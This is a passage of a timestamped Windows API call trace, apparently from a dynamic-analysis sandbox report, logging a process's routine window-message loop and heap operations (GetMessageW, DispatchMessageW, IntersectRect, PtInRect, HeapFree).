lprcDst=0x30efe0) returned 1 [0094.993] IntersectRect (in: lprcDst=0x30ed9c, lprcSrc1=0x30ed9c, lprcSrc2=0x30ed6c | out: lprcDst=0x30ed9c) returned 1 [0094.993] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30ed8c | out: lprcDst=0x30f080) returned 1 [0094.993] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0094.993] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0094.993] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30edac | out: lprcDst=0x30f080) returned 1 [0094.993] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0094.993] IntersectRect (in: lprcDst=0x30eb70, lprcSrc1=0x30eb70, lprcSrc2=0x30f070 | out: lprcDst=0x30eb70) returned 1 [0094.994] IntersectRect (in: lprcDst=0x30e92c, lprcSrc1=0x30e92c, lprcSrc2=0x30e8fc | out: lprcDst=0x30e92c) returned 1 [0094.994] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e91c | out: lprcDst=0x30f080) returned 1 [0094.994] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0094.994] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0094.994] IntersectRect (in: lprcDst=0x30e768, lprcSrc1=0x30e768, lprcSrc2=0x30f070 | out: lprcDst=0x30e768) returned 1 [0094.994] IntersectRect (in: lprcDst=0x30f080, lprcSrc1=0x30f080, lprcSrc2=0x30e93c | out: lprcDst=0x30f080) returned 1 [0094.994] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0094.994] IntersectRect (in: lprcDst=0x30e700, lprcSrc1=0x30e700, lprcSrc2=0x30f070 | out: lprcDst=0x30e700) returned 1 [0094.994] IntersectRect (in: lprcDst=0x30e7c0, lprcSrc1=0x30e7c0, lprcSrc2=0x30f070 | out: lprcDst=0x30e7c0) returned 1 [0094.994] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0094.994] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0094.994] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0094.994] PtInRect (lprc=0x30f348, pt=0xca) returned 1 [0094.994] PtInRect (lprc=0x30f1ec, pt=0x4e52) returned 1 [0094.994] LoadCursorA (hInstance=0x0, lpCursorName=0x7f00) returned 0x10003 [0094.994] GetCursor () returned 0x10003 [0094.994] GetCurrentThreadId () returned 0xcd8 [0094.994] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0094.994] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0094.994] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0094.995] GetMessageTime () returned 223362 [0094.995] GetMessagePos () returned 0x11e0181 [0094.995] GetCapture () returned 0x0 [0094.995] IntersectRect (in: lprcDst=0x30f068, lprcSrc1=0x30f068, lprcSrc2=0x30f0f8 | out: lprcDst=0x30f068) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30ee24, lprcSrc1=0x30ee24, lprcSrc2=0x30edf4 | out: lprcDst=0x30ee24) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee14 | out: lprcDst=0x30f108) returned 1 [0094.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0094.995] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831d88 [0094.995] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30ee34 | out: lprcDst=0x30f108) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30ebf8, lprcSrc1=0x30ebf8, lprcSrc2=0x30f0f8 | out: lprcDst=0x30ebf8) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30e9b4, lprcSrc1=0x30e9b4, lprcSrc2=0x30e984 | out: lprcDst=0x30e9b4) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9a4 | out: lprcDst=0x30f108) returned 1 [0094.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0094.995] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0x24) returned 0x831db8 [0094.995] IntersectRect (in: lprcDst=0x30e7f0, lprcSrc1=0x30e7f0, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e7f0) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30f108, lprcSrc1=0x30f108, lprcSrc2=0x30e9c4 | out: lprcDst=0x30f108) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30e788, lprcSrc1=0x30e788, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e788) returned 1 [0094.995] IntersectRect (in: lprcDst=0x30e848, lprcSrc1=0x30e848, lprcSrc2=0x30f0f8 | out: lprcDst=0x30e848) returned 1 [0094.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831db8 | out: hHeap=0x7f0000) returned 1 [0094.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x831d88 | out: hHeap=0x7f0000) returned 1 [0094.995] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x7f0000) returned 1 [0094.995] ClientToScreen (in: hWnd=0x60018, lpPoint=0x30f394 | out: lpPoint=0x30f394) returned 1 [0094.996] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x0, Size=0xf8) returned 0x82ab90 [0094.996] RtlAllocateHeap (HeapHandle=0x7f0000, Flags=0x8, Size=0x30) returned 0x83d828 [0094.996] GetCurrentThreadId () returned 0xcd8 [0094.996] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x83d828 | out: hHeap=0x7f0000) returned 1 [0094.996] PtInRect (lprc=0x30f3d0, pt=0xca) returned 1 [0094.996] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x8312a0, hWnd=0x60018, msg=0x200, wParam=0x0, lParam=0x5100ca, plResult=0x30f48c | out: plResult=0x30f48c) returned 0x1 [0094.996] NtdllDefWindowProc_W () returned 0x0 [0094.996] HeapFree (in: hHeap=0x7f0000, dwFlags=0x0, lpMem=0x82ab90 | out: hHeap=0x7f0000) returned 1 [0094.996] GetCurrentThreadId () returned 0xcd8 [0094.996] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0095.208] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0095.208] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0095.208] GetCapture () returned 0x0 [0095.208] WindowFromPoint (Point=0x181) returned 0x60018 [0095.208] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0095.208] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0095.208] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0095.208] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0095.208] GetCurrentThreadId () returned 0xcd8 [0095.208] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0095.520] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0095.520] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0095.520] GetCapture () returned 0x0 [0095.520] WindowFromPoint (Point=0x181) returned 0x60018 [0095.520] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0095.520] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0095.520] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0095.520] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0095.520] GetCurrentThreadId () returned 0xcd8 [0095.520] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0095.845] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0095.846] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0095.846] GetCapture () returned 0x0 [0095.846] WindowFromPoint (Point=0x181) returned 0x60018 [0095.846] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0095.846] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0095.846] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0095.846] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0095.846] GetCurrentThreadId () returned 0xcd8 [0095.846] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0096.421] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0096.421] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0096.421] GetCapture () returned 0x0 [0096.421] WindowFromPoint (Point=0x181) returned 0x60018 [0096.421] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0096.421] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0096.421] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0096.421] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0096.421] GetCurrentThreadId () returned 0xcd8 [0096.421] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0096.471] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0096.471] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0096.471] GetCapture () returned 0x0 [0096.471] WindowFromPoint (Point=0x181) returned 0x60018 [0096.471] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0096.471] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0096.471] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0096.471] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0096.471] GetCurrentThreadId () returned 0xcd8 [0096.471] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0096.783] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0096.783] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0096.783] GetCapture () returned 0x0 [0096.783] WindowFromPoint (Point=0x181) returned 0x60018 [0096.783] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0096.783] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0096.783] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0096.783] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0096.784] GetCurrentThreadId () returned 0xcd8 [0096.784] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0097.095] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0097.095] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0097.095] GetCapture () returned 0x0 [0097.095] WindowFromPoint (Point=0x181) returned 0x60018 [0097.095] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0097.095] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0097.095] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0097.095] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0097.096] GetCurrentThreadId () returned 0xcd8 [0097.096] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0097.407] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0097.407] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0097.407] GetCapture () returned 0x0 [0097.407] WindowFromPoint (Point=0x181) returned 0x60018 [0097.407] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0097.407] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0097.407] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0097.407] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0097.408] GetCurrentThreadId () returned 0xcd8 [0097.408] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0097.820] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0097.820] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0097.820] GetCapture () returned 0x0 [0097.821] WindowFromPoint (Point=0x181) returned 0x60018 [0097.821] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0097.821] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0097.821] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0097.821] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0097.821] GetCurrentThreadId () returned 0xcd8 [0097.822] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0098.359] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0098.359] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0098.359] GetCapture () returned 0x0 [0098.359] WindowFromPoint (Point=0x181) returned 0x60018 [0098.359] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0098.359] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0098.359] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0098.359] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0098.359] GetCurrentThreadId () returned 0xcd8 [0098.359] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0098.374] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0098.374] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0098.374] GetCapture () returned 0x0 [0098.374] WindowFromPoint (Point=0x181) returned 0x60018 [0098.375] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0098.375] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0098.375] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0098.375] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0098.375] GetCurrentThreadId () returned 0xcd8 [0098.375] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0098.686] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0098.686] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0098.686] GetCapture () returned 0x0 [0098.687] WindowFromPoint (Point=0x181) returned 0x60018 [0098.687] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0098.687] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0098.687] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0098.687] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0098.687] GetCurrentThreadId () returned 0xcd8 [0098.687] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0098.998] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0098.998] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0098.999] GetCapture () returned 0x0 [0098.999] WindowFromPoint (Point=0x181) returned 0x60018 [0098.999] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0098.999] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0098.999] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0098.999] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0098.999] GetCurrentThreadId () returned 0xcd8 [0098.999] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0099.310] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0099.310] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0099.310] GetCapture () returned 0x0 [0099.311] WindowFromPoint (Point=0x181) returned 0x60018 [0099.311] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0099.311] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0099.311] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0099.311] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0099.311] GetCurrentThreadId () returned 0xcd8 [0099.311] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0099.622] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0099.622] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0099.622] GetCapture () returned 0x0 [0099.622] WindowFromPoint (Point=0x181) returned 0x60018 [0099.623] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0099.623] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0099.623] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0099.623] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0099.623] GetCurrentThreadId () returned 0xcd8 [0099.623] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0100.010] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0100.010] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0100.010] GetCapture () returned 0x0 [0100.010] WindowFromPoint (Point=0x181) returned 0x60018 [0100.010] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0100.010] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0100.010] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0100.010] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0100.010] GetCurrentThreadId () returned 0xcd8 [0100.010] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0100.262] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0100.262] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0100.262] GetCapture () returned 0x0 [0100.262] WindowFromPoint (Point=0x181) returned 0x60018 [0100.262] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0100.262] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0100.262] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0100.262] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0100.262] GetCurrentThreadId () returned 0xcd8 [0100.262] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0100.574] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0100.574] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0100.574] GetCapture () returned 0x0 [0100.574] WindowFromPoint (Point=0x181) returned 0x60018 [0100.574] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0100.574] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0100.574] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0100.574] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0100.574] GetCurrentThreadId () returned 0xcd8 [0100.574] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0100.886] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0100.886] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0100.886] GetCapture () returned 0x0 [0100.886] WindowFromPoint (Point=0x181) returned 0x60018 [0100.886] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0100.886] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0100.887] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0100.887] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0100.887] GetCurrentThreadId () returned 0xcd8 [0100.887] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0101.198] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0101.198] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0101.198] GetCapture () returned 0x0 [0101.198] WindowFromPoint (Point=0x181) returned 0x60018 [0101.198] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0101.198] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0101.198] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0101.198] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0101.198] GetCurrentThreadId () returned 0xcd8 [0101.198] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0101.510] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0101.510] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0101.510] GetCapture () returned 0x0 [0101.510] WindowFromPoint (Point=0x181) returned 0x60018 [0101.510] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0101.510] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0101.510] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0101.510] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0101.510] GetCurrentThreadId () returned 0xcd8 [0101.511] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0101.822] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0101.822] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0101.822] GetCapture () returned 0x0 [0101.822] WindowFromPoint (Point=0x181) returned 0x60018 [0101.822] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0101.822] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0101.822] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0101.822] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0101.822] GetCurrentThreadId () returned 0xcd8 [0101.823] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0102.134] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0102.134] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0102.134] GetCapture () returned 0x0 [0102.134] WindowFromPoint (Point=0x181) returned 0x60018 [0102.134] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0102.134] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0102.134] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0102.135] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0102.135] GetCurrentThreadId () returned 0xcd8 [0102.135] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0102.446] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0102.446] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0102.446] GetCapture () returned 0x0 [0102.446] WindowFromPoint (Point=0x181) returned 0x60018 [0102.446] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0102.446] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0102.446] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0102.446] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0102.446] GetCurrentThreadId () returned 0xcd8 [0102.446] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0102.758] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0102.758] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0102.758] GetCapture () returned 0x0 [0102.758] WindowFromPoint (Point=0x181) returned 0x60018 [0102.758] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0102.758] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0102.758] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0102.758] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0102.758] GetCurrentThreadId () returned 0xcd8 [0102.758] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0103.070] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0103.070] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0103.070] GetCapture () returned 0x0 [0103.070] WindowFromPoint (Point=0x181) returned 0x60018 [0103.070] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0103.070] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: lpRect=0x30f390) returned 1 [0103.070] ScreenToClient (in: hWnd=0x60018, lpPoint=0x30f3a0 | out: lpPoint=0x30f3a0) returned 1 [0103.070] PtInRect (lprc=0x30f390, pt=0xca) returned 1 [0103.070] GetCurrentThreadId () returned 0xcd8 [0103.070] GetMessageW (in: lpMsg=0x30f8cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x30f8cc) returned 1 [0103.382] TranslateMessage (lpMsg=0x30f8cc) returned 0 [0103.382] DispatchMessageW (lpMsg=0x30f8cc) returned 0x0 [0103.382] GetCapture () returned 0x0 [0103.382] WindowFromPoint (Point=0x181) returned 0x60018 [0103.383] GetWindowLongW (hWnd=0x60018, nIndex=-21) returned 8528360 [0103.383] GetClientRect (in: hWnd=0x60018, lpRect=0x30f390 | out: 